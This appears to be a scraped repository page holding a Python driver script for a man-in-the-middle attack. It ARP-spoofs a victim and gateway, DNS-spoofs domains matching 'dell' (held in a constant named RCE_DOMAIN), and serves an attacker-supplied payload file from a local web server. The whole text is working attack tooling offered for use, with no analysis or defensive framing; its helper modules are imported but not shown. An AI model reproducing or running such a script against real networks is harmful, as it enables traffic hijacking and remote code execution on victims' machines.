README.md
Rendering markdown...
import sys
import os
from SocketHelper import get_ip_address
from ARPSpoofer import ARPSpoofer
from WebServer import WebServer
from DNSSpoofer import DNSSpoofer
RCE_DOMAIN = "dell" # What to intercept
def main():
global RCE_DOMAIN
if len(sys.argv) < 5:
print("[-] Expecting 4 arguments, got %i." % (len(sys.argv) - 1))
print("%s [Interface Name] [Victim IP] [Gateway IP] [Payload Filename]" % sys.argv[0])
return 0
if os.geteuid() != 0:
print("[-] root permissions required.")
return 0
interface_name = sys.argv[1]
target_ip = sys.argv[2]
gateway_ip = sys.argv[3]
payload_filename = sys.argv[4]
print("[+] Grabbing interface IP address.")
interface_ip = get_ip_address(interface_name)
if interface_ip == "0.0.0.0":
print("[-] Could not find the IPv4 Address of the provided interface.")
return 0
print("[+] Starting webserver.")
WebServer(payload_filename)
print("[+] Starting ARP Spoofing.")
ARPSpoofer(target_ip, gateway_ip)
print("[+] Starting DNS Spoofing.")
DNSSpoofer(RCE_DOMAIN, interface_ip)
return 0
main()